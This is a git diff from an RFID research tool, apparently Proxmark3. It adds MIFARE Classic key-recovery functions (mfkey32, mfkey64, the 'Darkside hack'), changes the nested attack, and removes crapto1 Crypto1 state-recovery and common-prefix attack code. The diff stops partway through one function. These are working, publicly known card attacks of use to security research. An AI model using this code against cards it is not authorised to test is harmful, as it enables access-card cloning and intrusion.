+int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate) \r
 {\r
        uint16_t i;\r
        uint32_t uid;\r
@@ -178,8 +355,8 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo
                        while (Compare16Bits(p1, p2) == 1) p2++;\r
                }\r
        }\r
-       p3->even = 0; p3->odd = 0;\r
-       p4->even = 0; p4->odd = 0;\r
+       *(uint64_t*)p3 = -1;\r
+       *(uint64_t*)p4 = -1;\r
        statelists[0].len = p3 - statelists[0].head.slhead;\r
        statelists[1].len = p4 - statelists[1].head.slhead;\r
        statelists[0].tail.sltail=--p3;\r
@@ -187,24 +364,9 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo
 \r
        // the statelists now contain possible keys. The key we are searching for must be in the\r
        // intersection of both lists. Create the intersection:\r
-       qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compar_int);\r
-       qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compar_int);\r
-\r
-       uint64_t *p5, *p6, *p7;\r
-       p5 = p7 = statelists[0].head.keyhead; \r
-       p6 = statelists[1].head.keyhead;\r
-       while (p5 <= statelists[0].tail.keytail && p6 <= statelists[1].tail.keytail) {\r
-               if (compar_int(p5, p6) == 0) {\r
-                       *p7++ = *p5++;\r
-                       p6++;\r
-               }\r
-               else {\r
-                       while (compar_int(p5, p6) == -1) p5++;\r
-                       while (compar_int(p5, p6) == 1) p6++;\r
-               }\r
-       }\r
-       statelists[0].len = p7 - statelists[0].head.keyhead;\r
-       statelists[0].tail.keytail=--p7;\r
+       qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compare_uint64);\r
+       qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compare_uint64);\r
+       statelists[0].len = intersection(statelists[0].head.keyhead, statelists[1].head.keyhead);\r
 \r
        memset(resultKey, 0, 6);\r
        // The list may still contain several key candidates. Test each of them with mfCheckKeys\r
index e628ba3ab0ba9d2c51abf9ca3004e8acdc848d32..a9db4ec384a7c950e9c57a12d9d21cb9861cf913 100644 (file)
@@ -22,8 +22,9 @@
 \r
 extern char logHexFileName[FILE_PATH_SIZE];\r
 \r
-extern int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t * ResultKeys, bool calibrate);\r
-extern int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key);\r
+extern int mfDarkside(uint64_t *key);\r
+extern int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *ResultKeys, bool calibrate);\r
+extern int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key);\r
 \r
 extern int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount);\r
 extern int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount);\r
diff --git a/client/nonce2key.c b/client/nonce2key.c
new file mode 100644 (file)
index 0000000..acd551e
--- /dev/null
@@ -0,0 +1,137 @@
+//-----------------------------------------------------------------------------
+// Merlok - June 2011
+// Roel - Dec 2009
+// Unknown author
+//
+// This code is licensed to you under the terms of the GNU GPL, version 2 or,
+// at your option, any later version. See the LICENSE.txt file for the text of
+// the license.
+//-----------------------------------------------------------------------------
+// MIFARE Darkside hack
+//-----------------------------------------------------------------------------
+
+#include "nonce2key.h"
+
+#include <inttypes.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include "mifarehost.h"
+#include "util.h"
+#include "crapto1/crapto1.h"
+
+// recover key from 2 different reader responses on same tag challenge
+bool mfkey32(nonces_t data, uint64_t *outputkey) {
+       struct Crypto1State *s,*t;
+       uint64_t outkey = 0;
+       uint64_t key = 0;     // recovered key
+       bool isSuccess = false;
+       uint8_t counter = 0;
+
+       uint64_t t1 = msclock();
+
+       s = lfsr_recovery32(data.ar ^ prng_successor(data.nonce, 64), 0);
+
+       for(t = s; t->odd | t->even; ++t) {
+               lfsr_rollback_word(t, 0, 0);
+               lfsr_rollback_word(t, data.nr, 1);
+               lfsr_rollback_word(t, data.cuid ^ data.nonce, 0);
+               crypto1_get_lfsr(t, &key);
+               crypto1_word(t, data.cuid ^ data.nonce, 0);
+               crypto1_word(t, data.nr2, 1);
+               if (data.ar2 == (crypto1_word(t, 0, 0) ^ prng_successor(data.nonce, 64))) {
+                       //PrintAndLog("Found Key: [%012" PRIx64 "]",key);
+                       outkey = key;
+                       counter++;
+                       if (counter == 20) break;
+               }
+       }
+       isSuccess = (counter == 1);
+       t1 = msclock() - t1;
+       //if ( t1 > 0 ) PrintAndLog("Time in mfkey32: %.1f seconds \nFound %d possible keys", (float)t1/1000.0, counter);
+       *outputkey = ( isSuccess ) ? outkey : 0;
+       crypto1_destroy(s);
+       /* //un-comment to save all keys to a stats.txt file 
+       FILE *fout;
+       if ((fout = fopen("stats.txt","ab")) == NULL) { 
+               PrintAndLog("Could not create file name stats.txt");
+               return 1;
+       }
+       fprintf(fout, "mfkey32,%d,%08x,%d,%s,%04x%08x,%.0Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t)(outkey>>32) & 0xFFFF,(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
+       fclose(fout);
+       */
+       return isSuccess;
+}
+
+// recover key from 2 reader responses on 2 different tag challenges
+bool mfkey32_moebius(nonces_t data, uint64_t *outputkey) {
+       struct Crypto1State *s, *t;
+       uint64_t outkey  = 0;
+       uint64_t key       = 0;                 // recovered key
+       bool isSuccess = false;
+       int counter = 0;
+       
+       //PrintAndLog("Enter mfkey32_moebius");
+       uint64_t t1 = msclock();
+
+       s = lfsr_recovery32(data.ar ^ prng_successor(data.nonce, 64), 0);
+  
+       for(t = s; t->odd | t->even; ++t) {
+               lfsr_rollback_word(t, 0, 0);
+               lfsr_rollback_word(t, data.nr, 1);
+               lfsr_rollback_word(t, data.cuid ^ data.nonce, 0);
+               crypto1_get_lfsr(t, &key);
+               
+               crypto1_word(t, data.cuid ^ data.nonce2, 0);
+               crypto1_word(t, data.nr2, 1);
+               if (data.ar2 == (crypto1_word(t, 0, 0) ^ prng_successor(data.nonce2, 64))) {
+                       //PrintAndLog("Found Key: [%012" PRIx64 "]",key);
+                       outkey=key;
+                       ++counter;
+                       if (counter==20)
+                               break;
+               }
+       }
+       isSuccess       = (counter == 1);
+       t1 = msclock() - t1;
+       // PrintAndLog("Time in mfkey32_moebius: %.1f seconds \nFound %d possible keys", (float)t1/1000.0, counter);
+       *outputkey = ( isSuccess ) ? outkey : 0;
+       crypto1_destroy(s);
+       /* // un-comment to output all keys to stats.txt
+       FILE *fout;
+       if ((fout = fopen("stats.txt","ab")) == NULL) { 
+               PrintAndLog("Could not create file name stats.txt");
+               return 1;
+       }
+       fprintf(fout, "moebius,%d,%08x,%d,%s,%04x%08x,%0.Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t) (outkey>>32),(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
+       fclose(fout);
+       */
+       return isSuccess;
+}
+
+// recover key from reader response and tag response of one authentication sequence
+int mfkey64(nonces_t data, uint64_t *outputkey){
+       uint64_t key    = 0;                            // recovered key
+       uint32_t ks2;                                           // keystream used to encrypt reader response
+       uint32_t ks3;                                           // keystream used to encrypt tag response
+       struct Crypto1State *revstate;
+       
+       // PrintAndLog("Enter mfkey64");
+       uint64_t t1 = msclock();
+       
+       // Extract the keystream from the messages
+       ks2 = data.ar ^ prng_successor(data.nonce, 64);
+       ks3 = data.at ^ prng_successor(data.nonce, 96);
+       revstate = lfsr_recovery64(ks2, ks3);
+       lfsr_rollback_word(revstate, 0, 0);
+       lfsr_rollback_word(revstate, 0, 0);
+       lfsr_rollback_word(revstate, data.nr, 1);
+       lfsr_rollback_word(revstate, data.cuid ^ data.nonce, 0);
+       crypto1_get_lfsr(revstate, &key);
+       // PrintAndLog("Found Key: [%012" PRIx64 "]", key);
+       crypto1_destroy(revstate);
+       *outputkey = key;
+       
+       t1 = msclock() - t1;
+       // PrintAndLog("Time in mfkey64: %.1f seconds \n", (float)t1/1000.0);
+       return 0;
+}
diff --git a/client/nonce2key.h b/client/nonce2key.h
new file mode 100644 (file)
index 0000000..795f239
--- /dev/null
@@ -0,0 +1,36 @@
+//-----------------------------------------------------------------------------
+// Merlok - June 2011
+// Roel - Dec 2009
+// Unknown author
+//
+// This code is licensed to you under the terms of the GNU GPL, version 2 or,
+// at your option, any later version. See the LICENSE.txt file for the text of
+// the license.
+//-----------------------------------------------------------------------------
+// MIFARE Darkside hack
+//-----------------------------------------------------------------------------
+
+#ifndef __NONCE2KEY_H
+#define __NONCE2KEY_H
+
+#include <stdint.h>
+#include <stdbool.h>
+
+typedef struct {
+                         uint32_t cuid;
+                         uint8_t  sector;
+                         uint8_t  keytype;
+                         uint32_t nonce;
+                         uint32_t ar;
+                         uint32_t nr;
+                         uint32_t at;
+                         uint32_t nonce2;
+                         uint32_t ar2;
+                         uint32_t nr2;
+                       } nonces_t;
+
+bool mfkey32(nonces_t data, uint64_t *outputkey);
+bool mfkey32_moebius(nonces_t data, uint64_t *outputkey);
+int mfkey64(nonces_t data, uint64_t *outputkey);
+
+#endif
diff --git a/client/nonce2key/crapto1.c b/client/nonce2key/crapto1.c
deleted file mode 100644 (file)
index 1015e27..0000000
+++ /dev/null
@@ -1,573 +0,0 @@
-/*  crapto1.c\r
-\r
-       This program is free software; you can redistribute it and/or\r
-       modify it under the terms of the GNU General Public License\r
-       as published by the Free Software Foundation; either version 2\r
-       of the License, or (at your option) any later version.\r
-\r
-       This program is distributed in the hope that it will be useful,\r
-       but WITHOUT ANY WARRANTY; without even the implied warranty of\r
-       MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r
-       GNU General Public License for more details.\r
-\r
-       You should have received a copy of the GNU General Public License\r
-       along with this program; if not, write to the Free Software\r
-       Foundation, Inc., 51 Franklin Street, Fifth Floor,\r
-       Boston, MA  02110-1301, US$\r
-\r
-       Copyright (C) 2008-2008 bla <blapost@gmail.com>\r
-*/\r
-#include "crapto1.h"\r
-#include <stdlib.h>\r
-\r
-#if !defined LOWMEM && defined __GNUC__\r
-static uint8_t filterlut[1 << 20];\r
-static void __attribute__((constructor)) fill_lut()\r
-{\r
-               uint32_t i;\r
-               for(i = 0; i < 1 << 20; ++i)\r
-                               filterlut[i] = filter(i);\r
-}\r
-#define filter(x) (filterlut[(x) & 0xfffff])\r
-#endif\r
-\r
-\r
-\r
-typedef struct bucket {\r
-       uint32_t *head;\r
-       uint32_t *bp;\r
-} bucket_t;\r
-\r
-typedef bucket_t bucket_array_t[2][0x100];\r
-\r
-typedef struct bucket_info {\r
-       struct {\r
-               uint32_t *head, *tail;\r
-               } bucket_info[2][0x100];\r
-               uint32_t numbuckets;\r
-       } bucket_info_t;\r
-\r
-\r
-static void bucket_sort_intersect(uint32_t* const estart, uint32_t* const estop,\r
-                                                                 uint32_t* const ostart, uint32_t* const ostop,\r
-                                                                 bucket_info_t *bucket_info, bucket_array_t bucket)\r
-{\r
-       uint32_t *p1, *p2;\r
-       uint32_t *start[2];\r
-       uint32_t *stop[2];\r
-\r
-       start[0] = estart;\r
-       stop[0] = estop;\r
-       start[1] = ostart;\r
-       stop[1] = ostop;\r
-\r
-       // init buckets to be empty\r
-       for (uint32_t i = 0; i < 2; i++) {\r
-               for (uint32_t j = 0x00; j <= 0xff; j++) {\r
-                       bucket[i][j].bp = bucket[i][j].head;\r
-               }\r
-       }\r
-\r
-       // sort the lists into the buckets based on the MSB (contribution bits)\r
-       for (uint32_t i = 0; i < 2; i++) {\r
-               for (p1 = start[i]; p1 <= stop[i]; p1++) {\r
-                       uint32_t bucket_index = (*p1 & 0xff000000) >> 24;\r
-                       *(bucket[i][bucket_index].bp++) = *p1;\r
-               }\r
-       }\r
-\r
-\r
-       // write back intersecting buckets as sorted list.\r
-       // fill in bucket_info with head and tail of the bucket contents in the list and number of non-empty buckets.\r
-       uint32_t nonempty_bucket;\r
-       for (uint32_t i = 0; i < 2; i++) {\r
-               p1 = start[i];\r
-               nonempty_bucket = 0;\r
-               for (uint32_t j = 0x00; j <= 0xff; j++) {\r
-                       if (bucket[0][j].bp != bucket[0][j].head && bucket[1][j].bp != bucket[1][j].head) { // non-empty intersecting buckets only\r
-                               bucket_info->bucket_info[i][nonempty_bucket].head = p1;\r
-                               for (p2 = bucket[i][j].head; p2 < bucket[i][j].bp; *p1++ = *p2++);\r
-                               bucket_info->bucket_info[i][nonempty_bucket].tail = p1 - 1;\r
-                               nonempty_bucket++;\r
-                       }\r
-               }\r
-               bucket_info->numbuckets = nonempty_bucket;\r
-               }\r
-}\r
-\r
-/** binsearch\r
- * Binary search for the first occurence of *stop's MSB in sorted [start,stop]\r
- */\r
-static inline uint32_t*\r
-binsearch(uint32_t *start, uint32_t *stop)\r
-{\r
-       uint32_t mid, val = *stop & 0xff000000;\r
-       while(start != stop)\r
-               if(start[mid = (stop - start) >> 1] > val)\r
-                       stop = &start[mid];\r
-               else\r
-                       start += mid + 1;\r
-\r
-       return start;\r
-}\r
-\r
-/** update_contribution\r
- * helper, calculates the partial linear feedback contributions and puts in MSB\r
- */\r
-static inline void\r
-update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2)\r
-{\r
-       uint32_t p = *item >> 25;\r
-\r
-       p = p << 1 | parity(*item & mask1);\r
-       p = p << 1 | parity(*item & mask2);\r
-       *item = p << 24 | (*item & 0xffffff);\r
-}\r
-\r
-/** extend_table\r
- * using a bit of the keystream extend the table of possible lfsr states\r
- */\r
-static inline void\r
-extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in)\r
-{\r
-       in <<= 24;\r
-\r
-       for(uint32_t *p = tbl; p <= *end; p++) {\r
-               *p <<= 1;\r
-               if(filter(*p) != filter(*p | 1)) {                              // replace\r
-                       *p |= filter(*p) ^ bit;\r
-                       update_contribution(p, m1, m2);\r
-                       *p ^= in;\r
-               } else if(filter(*p) == bit) {                                  // insert\r
-                       *++*end = p[1];\r
-                       p[1] = p[0] | 1;\r
-                       update_contribution(p, m1, m2);\r
-                       *p++ ^= in;\r
-                       update_contribution(p, m1, m2);\r
-                       *p ^= in;\r
-               } else {                                                                                // drop\r
-                       *p-- = *(*end)--;\r
-               }\r
-       }\r
-\r
-}\r
-\r
-\r
-/** extend_table_simple\r
- * using a bit of the keystream extend the table of possible lfsr states\r
- */\r
-static inline void\r
-extend_table_simple(uint32_t *tbl, uint32_t **end, int bit)\r
-{\r
-       for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)\r
-               if(filter(*tbl) ^ filter(*tbl | 1)) {   // replace\r
-                       *tbl |= filter(*tbl) ^ bit;\r
-               } else if(filter(*tbl) == bit) {                // insert\r
-                       *++*end = *++tbl;\r
-                       *tbl = tbl[-1] | 1;\r
-               } else                                                                  // drop\r
-                       *tbl-- = *(*end)--;\r
-}\r
-\r
-\r
-/** recover\r
- * recursively narrow down the search space, 4 bits of keystream at a time\r
- */\r
-static struct Crypto1State*\r
-recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks,\r
-       uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem,\r
-       struct Crypto1State *sl, uint32_t in, bucket_array_t bucket)\r
-{\r
-       uint32_t *o, *e;\r
-       bucket_info_t bucket_info;\r
-\r
-       if(rem == -1) {\r
-               for(e = e_head; e <= e_tail; ++e) {\r
-                       *e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4);\r
-                       for(o = o_head; o <= o_tail; ++o, ++sl) {\r
-                               sl->even = *o;\r
-                               sl->odd = *e ^ parity(*o & LF_POLY_ODD);\r
-                       }\r
-               }\r
-               sl->odd = sl->even = 0;\r
-               return sl;\r
-       }\r
-\r
-       for(uint32_t i = 0; i < 4 && rem--; i++) {\r
-               extend_table(o_head, &o_tail, (oks >>= 1) & 1,\r
-                       LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1, 0);\r
-               if(o_head > o_tail)\r
-                       return sl;\r
-\r
-               extend_table(e_head, &e_tail, (eks >>= 1) & 1,\r
-                       LF_POLY_ODD, LF_POLY_EVEN << 1 | 1, (in >>= 2) & 3);\r
-               if(e_head > e_tail)\r
-                       return sl;\r
-       }\r
-\r
-       bucket_sort_intersect(e_head, e_tail, o_head, o_tail, &bucket_info, bucket);\r
-\r
-       for (int i = bucket_info.numbuckets - 1; i >= 0; i--) {\r
-               sl = recover(bucket_info.bucket_info[1][i].head, bucket_info.bucket_info[1][i].tail, oks,\r
-                                        bucket_info.bucket_info[0][i].head, bucket_info.bucket_info[0][i].tail, eks,\r
-                                        rem, sl, in, bucket);\r
-       }\r
-\r
-       return sl;\r
-}\r
-/** lfsr_recovery\r
- * recover the state of the lfsr given 32 bits of the keystream\r
- * additionally you can use the in parameter to specify the value\r
- * that was fed into the lfsr at the time the keystream was generated\r
- */\r
-struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in)\r
-{\r
-       struct Crypto1State *statelist;\r
-       uint32_t *odd_head = 0, *odd_tail = 0, oks = 0;\r
-       uint32_t *even_head = 0, *even_tail = 0, eks = 0;\r
-       int i;\r
-\r
-       // split the keystream into an odd and even part\r
-       for(i = 31; i >= 0; i -= 2)\r
-               oks = oks << 1 | BEBIT(ks2, i);\r
-       for(i = 30; i >= 0; i -= 2)\r
-               eks = eks << 1 | BEBIT(ks2, i);\r
-\r
-       odd_head = odd_tail = malloc(sizeof(uint32_t) << 21);\r
-       even_head = even_tail = malloc(sizeof(uint32_t) << 21);\r
-       statelist =  malloc(sizeof(struct Crypto1State) << 18);\r
-       if(!odd_tail-- || !even_tail-- || !statelist) {\r
-               goto out;\r
-       }\r
-       statelist->odd = statelist->even = 0;\r
-\r
-       // allocate memory for out of place bucket_sort\r
-       bucket_array_t bucket;\r
-       for (uint32_t i = 0; i < 2; i++)\r
-               for (uint32_t j = 0; j <= 0xff; j++) {\r
-                       bucket[i][j].head = malloc(sizeof(uint32_t)<<14);\r
-                       if (!bucket[i][j].head) {\r
-                               goto out;\r
-                       }\r
-               }\r
-\r
-\r
-       // initialize statelists: add all possible states which would result into the rightmost 2 bits of the keystream\r
-       for(i = 1 << 20; i >= 0; --i) {\r
-               if(filter(i) == (oks & 1))\r
-                       *++odd_tail = i;\r
-               if(filter(i) == (eks & 1))\r
-                       *++even_tail = i;\r
-       }\r
-\r
-       // extend the statelists. Look at the next 8 Bits of the keystream (4 Bit each odd and even):\r
-       for(i = 0; i < 4; i++) {\r
-               extend_table_simple(odd_head,  &odd_tail, (oks >>= 1) & 1);\r
-               extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1);\r
-       }\r
-\r
-       // the statelists now contain all states which could have generated the last 10 Bits of the keystream.\r
-       // 22 bits to go to recover 32 bits in total. From now on, we need to take the "in"\r
-       // parameter into account.\r
-\r
-       in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00);            // Byte swapping\r
-\r
-       recover(odd_head, odd_tail, oks,\r
-               even_head, even_tail, eks, 11, statelist, in << 1, bucket);\r
-\r
-\r
-out:\r
-       free(odd_head);\r
-       free(even_head);\r
-       for (uint32_t i = 0; i < 2; i++)\r
-               for (uint32_t j = 0; j <= 0xff; j++)\r
-                       free(bucket[i][j].head);\r
-\r
-       return statelist;\r
-}\r
-\r
-static const uint32_t S1[] = {     0x62141, 0x310A0, 0x18850, 0x0C428, 0x06214,\r
-       0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83,\r
-       0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA};\r
-static const uint32_t S2[] = {  0x3A557B00, 0x5D2ABD80, 0x2E955EC0, 0x174AAF60,\r
-       0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8,\r
-       0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20,\r
-       0x7EC7EE90, 0x7F63F748, 0x79117020};\r
-static const uint32_t T1[] = {\r
-       0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66,\r
-       0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B,\r
-       0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615,\r
-       0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C};\r
-static const uint32_t T2[] = {  0x3C88B810, 0x5E445C08, 0x2982A580, 0x14C152C0,\r
-       0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268,\r
-       0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0,\r
-       0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0,\r
-       0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950,\r
-       0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0};\r
-static const uint32_t C1[] = { 0x846B5, 0x4235A, 0x211AD};\r
-static const uint32_t C2[] = { 0x1A822E0, 0x21A822E0, 0x21A822E0};\r
-/** Reverse 64 bits of keystream into possible cipher states\r
- * Variation mentioned in the paper. Somewhat optimized version\r
- */\r
-struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3)\r
-{\r
-       struct Crypto1State *statelist, *sl;\r
-       uint8_t oks[32], eks[32], hi[32];\r
-       uint32_t low = 0,  win = 0;\r
-       uint32_t *tail, table[1 << 16];\r
-       int i, j;\r
-\r
-       sl = statelist = malloc(sizeof(struct Crypto1State) << 4);\r
-       if(!sl)\r
-               return 0;\r
-       sl->odd = sl->even = 0;\r
-\r
-       for(i = 30; i >= 0; i -= 2) {\r
-               oks[i >> 1] = BIT(ks2, i ^ 24);\r
-               oks[16 + (i >> 1)] = BIT(ks3, i ^ 24);\r
-       }\r
-       for(i = 31; i >= 0; i -= 2) {\r
-               eks[i >> 1] = BIT(ks2, i ^ 24);\r
-               eks[16 + (i >> 1)] = BIT(ks3, i ^ 24);\r
-       }\r
-\r
-       for(i = 0xfffff; i >= 0; --i) {\r
-               if (filter(i) != oks[0])\r
-                       continue;\r
-\r
-               *(tail = table) = i;\r
-               for(j = 1; tail >= table && j < 29; ++j)\r
-                       extend_table_simple(table, &tail, oks[j]);\r
-\r
-               if(tail < table)\r
-                       continue;\r
-\r
-               for(j = 0; j < 19; ++j)\r
-                       low = low << 1 | parity(i & S1[j]);\r
-               for(j = 0; j < 32; ++j)\r
-                       hi[j] = parity(i & T1[j]);\r
-\r
-               for(; tail >= table; --tail) {\r
-                       for(j = 0; j < 3; ++j) {\r
-                               *tail = *tail << 1;\r
-                               *tail |= parity((i & C1[j]) ^ (*tail & C2[j]));\r
-                               if(filter(*tail) != oks[29 + j])\r
-                                       goto continue2;\r
-                       }\r
-\r
-                       for(j = 0; j < 19; ++j)\r
-                               win = win << 1 | parity(*tail & S2[j]);\r
-\r
-                       win ^= low;\r
-                       for(j = 0; j < 32; ++j) {\r
-                               win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]);\r
-                               if(filter(win) != eks[j])\r
-                                       goto continue2;\r
-                       }\r
-\r
-                       *tail = *tail << 1 | parity(LF_POLY_EVEN & *tail);\r
-                       sl->odd = *tail ^ parity(LF_POLY_ODD & win);\r
-                       sl->even = win;\r
-                       ++sl;\r
-                       sl->odd = sl->even = 0;\r
-                       continue2:;\r
-               }\r
-       }\r
-       return statelist;\r
-}\r
-\r
-/** lfsr_rollback_bit\r
- * Rollback the shift register in order to get previous states\r
- */\r
-void lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb)\r
-{\r
-       int out;\r
-       uint32_t tmp;\r
-\r
-       s->odd &= 0xffffff;\r
-       tmp = s->odd;\r
-       s->odd = s->even;\r
-       s->even = tmp;\r
-\r
-       out = s->even & 1;\r
-       out ^= LF_POLY_EVEN & (s->even >>= 1);\r
-       out ^= LF_POLY_ODD & s->odd;\r
-       out ^= !!in;\r
-       out ^= filter(s->odd) & !!fb;\r
-\r
-       s->even |= parity(out) << 23;\r
-}\r
-/** lfsr_rollback_byte\r
- * Rollback the shift register in order to get previous states\r
- */\r
-void lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb)\r
-{\r
-       int i;\r
-       for (i = 7; i >= 0; --i)\r
-               lfsr_rollback_bit(s, BEBIT(in, i), fb);\r
-}\r
-/** lfsr_rollback_word\r
- * Rollback the shift register in order to get previous states\r
- */\r
-void lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb)\r
-{\r
-       int i;\r
-       for (i = 31; i >= 0; --i)\r
-               lfsr_rollback_bit(s, BEBIT(in, i), fb);\r
-}\r
-\r
-/** nonce_distance\r
- * x,y valid tag nonces, then prng_successor(x, nonce_distance(x, y)) = y\r
- */\r
-static uint16_t *dist = 0;\r
-int nonce_distance(uint32_t from, uint32_t to)\r
-{\r
-       uint16_t x, i;\r
-       if(!dist) {\r
-               dist = malloc(2 << 16);\r
-               if(!dist)\r
-                       return -1;\r
-               for (x = i = 1; i; ++i) {\r
-                       dist[(x & 0xff) << 8 | x >> 8] = i;\r
-                       x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;\r
-               }\r
-       }\r
-       return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535;\r
-}\r
-\r
-\r
-static uint32_t fastfwd[2][8] = {\r
-       { 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB},\r
-       { 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980}};\r
-\r
-\r
-/** lfsr_prefix_ks\r
- *\r
- * Is an exported helper function from the common prefix attack\r
- * Described in the "dark side" paper. It returns an -1 terminated array\r
- * of possible partial(21 bit) secret state.\r
- * The required keystream(ks) needs to contain the keystream that was used to\r
- * encrypt the NACK which is observed when varying only the 4 last bits of Nr\r
- * only correct iff [NR_3] ^ NR_3 does not depend on Nr_3\r
- */\r
-uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd)\r
-{\r
-       uint32_t *candidates = malloc(4 << 21);\r
-       uint32_t c,  entry;\r
-       int size, i;\r
-\r
-       if(!candidates)\r
-               return 0;\r
-\r
-       size = (1 << 21) - 1;\r
-       for(i = 0; i <= size; ++i)\r
-               candidates[i] = i;\r
-\r
-       for(c = 0;  c < 8; ++c)\r
-               for(i = 0;i <= size; ++i) {\r
-                       entry = candidates[i] ^ fastfwd[isodd][c];\r
-\r
-                       if(filter(entry >> 1) == BIT(ks[c], isodd))\r
-                               if(filter(entry) == BIT(ks[c], isodd + 2))\r
-                                       continue;\r
-\r
-                       candidates[i--] = candidates[size--];\r
-               }\r
-\r
-       candidates[size + 1] = -1;\r
-\r
-       return candidates;\r
-}\r
-\r
-/** brute_top\r
- * helper function which eliminates possible secret states using parity bits\r
- */\r
-static struct Crypto1State*\r
-brute_top(uint32_t prefix, uint32_t rresp, unsigned char parities[8][8],\r
-                 uint32_t odd, uint32_t even, struct Crypto1State* sl, uint8_t no_chk)\r
-{\r
-       struct Crypto1State s;\r
-       uint32_t ks1, nr, ks2, rr, ks3, good, c;\r
-\r
-       for(c = 0; c < 8; ++c) {\r
-               s.odd = odd ^ fastfwd[1][c];\r
-               s.even = even ^ fastfwd[0][c];\r
-\r
-               lfsr_rollback_bit(&s, 0, 0);\r
-               lfsr_rollback_bit(&s, 0, 0);\r
-               lfsr_rollback_bit(&s, 0, 0);\r
-\r
-               lfsr_rollback_word(&s, 0, 0);\r
-               lfsr_rollback_word(&s, prefix | c << 5, 1);\r
-\r
-               sl->odd = s.odd;\r
-               sl->even = s.even;\r
-\r
-               if (no_chk)\r
-                       break;\r
-\r
-               ks1 = crypto1_word(&s, prefix | c << 5, 1);\r
-               ks2 = crypto1_word(&s,0,0);\r
-               ks3 = crypto1_word(&s, 0,0);\r
-               nr = ks1 ^ (prefix | c << 5);\r
-               rr = ks2 ^ rresp;\r
-\r
-               good = 1;\r
-               good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24);\r
-               good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16);\r
-               good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2,  8);\r
-               good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2,  0);\r
-               good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ BIT(ks3, 24);\r
-\r
-               if(!good)\r
-                       return sl;\r
-       }\r
-\r
-       return ++sl;\r
-}\r
-\r
-\r
-/** lfsr_common_prefix\r
- * Implentation of the common prefix attack.\r
- * Requires the 28 bit constant prefix used as reader nonce (pfx)\r
- * The reader response used (rr)\r
- * The keystream used to encrypt the observed NACK's (ks)\r
- * The parity bits (par)\r
- * It returns a zero terminated list of possible cipher states after the\r
- * tag nonce was fed in\r
- */\r
-struct Crypto1State*\r
-lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8], uint8_t no_par)\r
-{\r
